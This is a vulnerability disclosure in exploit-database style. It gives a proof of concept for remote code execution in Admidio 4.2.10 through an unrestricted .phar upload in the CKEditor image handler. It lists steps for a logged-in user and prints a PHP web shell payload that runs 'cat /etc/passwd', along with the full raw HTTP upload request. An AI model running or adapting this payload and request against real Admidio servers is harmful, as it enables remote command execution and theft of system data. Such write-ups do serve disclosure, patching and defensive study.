Exploit Title: Admidio v4.2.10 - Remote Code Execution (RCE)
Application: Admidio
Version: 4.2.10
Bugs:  RCE
Technology: PHP
Vendor URL: https://www.admidio.org/
Software Link: https://www.admidio.org/download.php
Date of found: 10.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux


2. Technical Details & POC
========================================
Steps:

1. Login to account
2. Go to Announcements
3. Add Entry
4. Upload .phar file in image upload section.
.phar file Content
<?php echo system('cat /etc/passwd');?>
5. Visit .phar file  ( http://localhost/admidio/adm_my_files/announcements/images/20230710-172217_430o3e5ma5dnuvhp.phar )

Request:

POST /admidio/adm_program/system/ckeditor_upload_handler.php?CKEditor=ann_description&CKEditorFuncNum=1&langCode=en HTTP/1.1
Host: localhost
Content-Length: 378
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryne9TRuC1tAqhR86r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/admidio/adm_program/modules/announcements/announcements_new.php?headline=Announcements
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ADMIDIO_admidio_adm_cookieconsent_status=dismiss; ADMIDIO_admidio_adm_SESSION_ID=penqrouatvh0vmp8v2mdntrgdn; ckCsrfToken=o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB
Connection: close

------WebKitFormBoundaryne9TRuC1tAqhR86r
Content-Disposition: form-data; name="upload"; filename="shell.phar"
Content-Type: application/octet-stream

<?php echo system('cat /etc/passwd');?>

------WebKitFormBoundaryne9TRuC1tAqhR86r
Content-Disposition: form-data; name="ckCsrfToken"

o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB
------WebKitFormBoundaryne9TRuC1tAqhR86r--